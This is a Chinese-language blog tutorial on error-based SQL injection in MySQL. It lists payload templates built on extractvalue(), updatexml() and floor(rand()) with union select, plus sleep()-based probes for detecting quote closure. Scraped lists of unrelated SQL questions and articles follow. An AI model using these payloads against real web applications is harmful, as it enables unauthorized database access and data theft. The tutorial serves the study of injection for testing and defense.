sql注入之报错注入

2023-11-14

目录

1.常用报错的函数

2.其他函数

一.extractvalue()

二.updetaxml()

1.常用报错的函数

(1)extractvalue()

(2)updataxml()

(3)floor()

2.其他函数

(1)substring():extractvalue()与updataxml()只能显示前32位字符,可以用substring()显示后面的字符

字符串.substring(字符串,参数1,参数2);
参数1:字符串截取的起始下标,非负的整数
如果此参数是0,则是从字符串的第一个字符开始截取
参数2:截取结束位置的索引下标

如substring(abc,1,2)为ab

   substring(abc,2,2)为bc

(2)substr():同substring()

(3)mid():MID() 函数用于从字符串中提取指定长度的子字符串,位置从 1 开始计数

MID(string, start, length):

string:要提取子字符串的原始字符串。
start:指定要开始提取子字符串的位置。
ength:指定要提取的子字符串的长度。

(3)concat():连接函数

如concat(a,b)为 ab

   concat(0x7e,(执行语句))为 #执行后的语句

(4)group_concat():GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。

(5)concat_ws()

CONCAT_WS(separator,str1,str2,…)

CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。

如concat_ws('~',a,b)为 a~b

(6)limit 0,1 指定显示某一行 (concat()+limit可以与group_concat()互换)

一.extractvalue()

extractvalue(xml_document,xpath_string)

第一个参数是xml文档对象的名称

第二个参数作用是从xml文档对象中返回查询到的字符串值,返回结果长度限制在32位字符。

payload:extractvalue(null,concat(0x7e,(sql_inject),0x7e))

                (sql_inject)这个()是因为()内的语句优先执行

               extractvalue(null,concat(0x7e,substring(sql_inject,1,32),0x7e))

               extractvalue(null,concat(0x7e,substring(sql_inject,33,32),0x7e))

                                              .

                                              .

                                              .

注:利用extractvalue()对数据进行一个排序,指定第一个参数为null,可以换成1、#或者其他符号,使其报错,并执行第二个参数语句。0x7e表示”~“号。

二.updetaxml()

(与extractvalue()基本一样,只是updatexml(1,concat(),3)多了一个3的参数

updatexml(xml_document,xpath_string,new_value)

第一个参数,xml文档名称

第二个参数,xpath格式字符串

第三个参数,替换查找到的符合条件的数据

        作用是,改变文档中符合条件的节点的值

payload格式如下:

updatexml(1,concat(0x7e,(sqli_inject),0x7e),3)

updatexml(null,concat(0x7e,substring(sql_inject,1,32),0x7e),3)

updatexml(null,concat(0x7e,substring(sql_inject,33,32),0x7e),3)

                                              .

                                              .

                                              .

.floor()

payload

1' union select count(*),concat_ws('~',(sql_inject),floor(rand(0)*2)) as x from information_schema.tables group by x --+

(三种payload的形式都不固定,各种函数可以相互替代,需要根据实际情况而定)

四.补充(利用时间盲注判断闭合方式)

?id=1 and sleep(2) --+

?id=1' and sleep(2) --+

?id=1" and sleep(2) --+

?id=1') and sleep(2) --+

?id=1") and sleep(2) --+

本文payload详细可见:sql注入(6)报错注入_c10udy_的博客-CSDN博客


本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sql注入之报错注入 的相关文章

  • mysql 将 varchar 字段排序为整数

    我的表中有一个 varchar 字段 我想对其进行排序 但我需要将此字段作为整数处理 意思是如果按文本排序 顺序是 19 2 20 但我想得到正确的顺序 2 19 20 谁能帮我 我不知何故没有设法运行查询CAST 我总是得到Error C
  • 如何在oracle日志中打印http请求

    我们正在使用以下方式调用外部 URLUTL HTTP方法并设置 HTTP 标头 例如basic authentication keep alive content soap action所以我需要打印我设置为标题的内容 DBMS OUTPU
  • 关于数据库变更的通知

    我正在尝试一种场景 其中我想使用任何用户提交的更改来更新在不同 PC 上运行的桌面 UI 例如 Application1 安装在 PC1 PC2 和 PC3 上 假设所有 PC 都运行此应用程序 假设 PC1 上的用户 1 更改数据并提交到
  • 针对 SQL Server 的 SQL 查询的执行日期时间

    我曾经发现过这个很好的查询here https dba stackexchange com a 135080 43889 我想将查询的执行时间添加到以下查询中 USE master go SELECT sdest DatabaseName
  • CS0246 找不到类型或命名空间名称“ErrorViewModel”(您是否缺少 using 指令或程序集引用?)

    我收到 CS0246 错误代码 我正在做一个 MVC net core 项目 我正在将 Razor 合并到我的 C 代码中 我在进行构建时收到此错误 我在最后一行收到错误 有人能帮我解决这个问题吗 global Microsoft AspN
  • 如何使 Postgres Copy 忽略大 txt 文件的第一行

    我有一个相当大的 txt 文件 9gb 我想将此 txt 文件加载到 postgres 中 第一行是标题 后面是所有数据 如果我直接 postgres COPY 数据 标头将导致数据类型与我的 postgres 表不匹配的错误 因此我需要以
  • 每组最大 n 个 SQL 查询的高性能方法

    我正在尝试构建一个基础设施 以便根据需要快速运行回归 从包含我们网络服务器上所有历史活动的数据库中提取 apache 请求 为了通过确保我们仍然回归来自较小客户的请求来提高覆盖范围 我想通过为每个客户检索最多 n 个 为了这个问题 假设 1
  • postgresql to_json() 函数转义所有双引号字符

    我编写了一个 plpgsql 脚本 它在字符串中生成一个 json 对象数组 但是在我使用 to json 方法将带有该字符串的变量传递给它之后 它返回一个带双引号的结果 并且每个双引号字符都被转义 但我需要原样的字符串 jsonResul
  • 如何在条件持续时在Mysql中选择行

    我有这样的事情 Name Value A 10 B 9 C 8 意思是 这些值是按降序排列的 我需要创建一个新表 其中包含占总值 60 的值 所以 这可能是一个伪代码 set Total sum value set counter 0 fo
  • ORACLE SQL 中的 MAX()

    我有一个表 存储已完成的维护任务的记录列表以及完成的日期和时间 我正在尝试执行子查询来提取具有最新日期的每个任务的记录 我的SQL语句是 SELECT ENGINEERING COMPLIANCE EO AS EO ENGINEERING
  • SQL 选择 ID 相同的多个最大行

    我在这方面一次又一次地挣扎 但无法让它发挥作用 在这些论坛上呆了几个小时 数据集 Row Date AccountID Column 1 1 21 02 2013 0 30 A0M8FA1003YP 2 21 02 2013 0 30 A0
  • 从 LEFT OUTER JOIN 中删除重复项

    我的问题非常类似于限制 LEFT JOIN https stackoverflow com questions 757957 restricting a left join 有一个变体 假设我有一个表 SHOP 和另一个表 LOCATION
  • 是否可以将普通表与临时表进行左外连接?

    我创建 SQL Server 查询并有一个包含记录的普通表 另一方面有一个包含记录的临时表 该表不为空 并且所有字段都没有任何冲突 加入 可以连接这两个不同类型的表吗 SELECT NormalTable Entityname FROM N
  • 为什么这个触发器会失败?它说无效标识符

    CREATE MATERIALIZED VIEW ORDERS MV BUILD IMMEDIATE REFRESH COMPLETE ON DEMAND AS SELECT FROM ORDERS CREATE OR REPLACE TR
  • MySQL表按时间戳分区

    我已经对表进行了分区 由于内存不足错误 表太大 我已将其分区在时间戳列上 如下所示 CREATE TABLE test fname VARCHAR 50 NOT NULL lname VARCHAR 50 NOT NULL dob time
  • 将具有重复值的数据插入 Postgresql

    我需要在 postgresql 中插入数据集 INSERT INTO table subject topics exams name of subject section topic subtopic VALUES Algebra Math
  • 如何导入文本文件并将数据保存到数据库中? [关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 我有这个项目 导入一个 txt file 连接到 SQL Server 数据库 将所有数据传输到数据库 文本文件按制表符分为四个字段
  • 为什么我要费心使用全文搜索?

    我是全文搜索新手 我使用了以下查询 Select From Students Where FullName LIKE abc 学生表包含数百万条记录 所有记录都是随机的 如下所示 QZAQHIEK VABCNLRM KFFZJYUU 仅用了
  • 如何为基于服务的数据库设置自动增量

    我在这里开始构建我的第一个本地数据库 基于服务的数据库 使用文本框将行写入基于服务的数据库 https stackoverflow com questions 39152801 write line to service based dat
  • 存储过程和视图有什么区别?

    我对以下几点感到困惑 存储过程和视图有什么区别 在 SQL Server 中 什么时候应该使用存储过程 什么时候应该使用视图 视图是否允许创建可以传递参数的动态查询 哪一个最快 基于什么原因其中一个比另一个更快 视图或存储过程是否永久分配内

随机推荐

  • Golang中常用的代码优化点

    写代码其实也有很多套路和经验 这篇介绍几个让golang代码更优雅的四个套路 大家好 我是轩脉刃 这篇想和大家聊一聊golang的常用代码写法 在golang中 如果大家不断在一线写代码 一定多多少少会有一些些代码的套路和经验 这些经验是代
  • Centos SSH免密登录

    1 防火墙操作相关 systemctl stop firewalld 永久关闭防火墙 systemctl disable firewalld 2 关闭Selinux 1 查看状态 getenforce 2 临时关闭 setenforce 0
  • java “Unsupported major.minor version 52.0错误“解决办法

    java Unsupported major minor version 52 0错误 解决办法 java Unsupported major minor version 52 0错误 解决办法 解决办法 java Unsupported
  • Landsat数据下载

    Landsat数据下载步骤 0 Landsat数据介绍 1 下载地址 2 下载步骤 2 1 检索数据 2 1 1 设置地点 有多种方法 2 1 2 选择时间范围 2 1 3 在Data Sets界面选择传感器 卫星或者传感器的名称 2 2
  • el-select可以输入选择项以及选择某一项后出现输入文本框

    效果 直接上代码做笔记 通过ref属性获取输入内容 在 blur中进行赋值 很好的实现了可选择 可输入
  • 进程概念

    基本概念 进程是程序的一个执行实例 从内核来看 进程是担当分配系统资源的实体 注 在Linux操作系统中 大多数指令都是创建了一个个的进程 操做系统如何管理内存 答 使用一个结构体 PCB 来描述进程 使用高效的数据结构来组织进程 描述进程
  • 学习记录-Qt读取条码扫描枪

    一 条码简介 条形码 barcode 是将宽度不等的多个黑条和空白 按照一定的编码规则排列 用以表达一组信息的图形标识符 常见的条形码是由反射率相差很大的黑条 简称条 和白条 简称空 排成的平行线图案 条形码可以标出物品的生产国 制造厂家
  • git强制更新(覆盖)本地仓库与远程仓库一致

    问题描述 在远程改好代码 且改动较多 不想耗费精力进行合并的操作 于是想强制覆盖本地仓库 解决方案 使用以下指令 git fetch all git reset hard origin master
  • 在kali中常见的三种扫描

    第一步 确保要扫描的电脑和执行扫描的电脑是否在同一个网段上 Kali里面查看ip地址的命令为ifconfig ifconfig Win7系统查看IP地址的命令为ipconfig ipconfig 在kali中输入ping 192 168 5
  • 多级菜单 jquery折叠菜单

    多级jquery折叠菜单 前言 效果图 分析 前言 先上代码 DOCTYPE html gt
  • C++模板初阶

    C 模板初阶 泛型编程 函数模板 概念 函数模板格式 函数模板原理 函数模板的实例化 模板参数的匹配原则 类模板 类模板的定义格式 类模板的实例化 泛型编程 我们前面学习了C 的函数重载功能 那么我们如何实现一个通用的交换函数呢 比如 我传
  • git上传遇到 GitHub could not read Username 的解决办法

    Gitversion 1 8 5 2 执行git push命令异常 如下 1 Push failed 2 Failed with error unable to read askpass response from C Users eddy
  • Springboot学习笔记5:整合JDBC

    一 什么是JDBC 在web开发中 不可避免的地要使用数据库来存储和管理数据 为了在java语言中提供数据库访问的支持 Sun公司于1996年提供了一套访问数据的标准Java类库 即JDBC JDBC的全称是Java数据库连接 Java D
  • computed与watch的区别

    一 computed与watch 在之前的练习中本人碰到computed来监听某个数据变化 我们都知道computed与watch都是可以监听数据变化 但具体要怎么区别它们呢 1 1 watch 1 1 1 watch的简单执行
  • xss原理和分类

    前言 准备智警杯的过程中 也不能掉下漏洞的学习 浅浅学习一下关于xss的一些知识 何为xss 全名跨站脚本攻击 也属于注入 属于代码注入的一种 由于未进行严格的过滤 haker可以将恶意代码注入到网页当中 其他用户在访问该网页时会执行恶意代
  • 真的!!!两行css代码实现瀑布流,html,css最简单的瀑布流实现方式且没有缺点!...

    给前端宇宙加星标 提升前端小宇宙 作者 coder94 https segmentfault com a 1190000017866549 两行css如下 列间距 可有可无 默认30px column gap 0 效果图如下
  • IDEA导入Spring源码环境搭建

    一 环境准备 1 Spring源码包 下载地址 https github com spring projects spring framework 2 gradle工具 下载地址 http downloads gradle org dist
  • 获取APP签名信息或者查看签名文件的MD5,SHA1,SHA256

    1 查看APP是否签名 将APP文件后缀改为 zip并解压会得到以下内容 CERT RSA就包含签名信息 然后运行命令 keytool printcert file Users Documents app release META INF
  • uni-app 开放生态

    uni app 积极拥抱社区 创建了开放 兼容的生态系统 uni app插件市场 有数千款插件 支持前端组件 js sdk 页面模板 项目模板 原生插件等多种类型 在生态建设上远远领先于竞品 兼容 微信小程序 JS SDK 丰富的小程序生态
  • sql注入之报错注入

    目录 1 常用报错的函数 2 其他函数 一 extractvalue 二 updetaxml 1 常用报错的函数 1 extractvalue 2 updataxml 3 floor 2 其他函数 1 substring extractva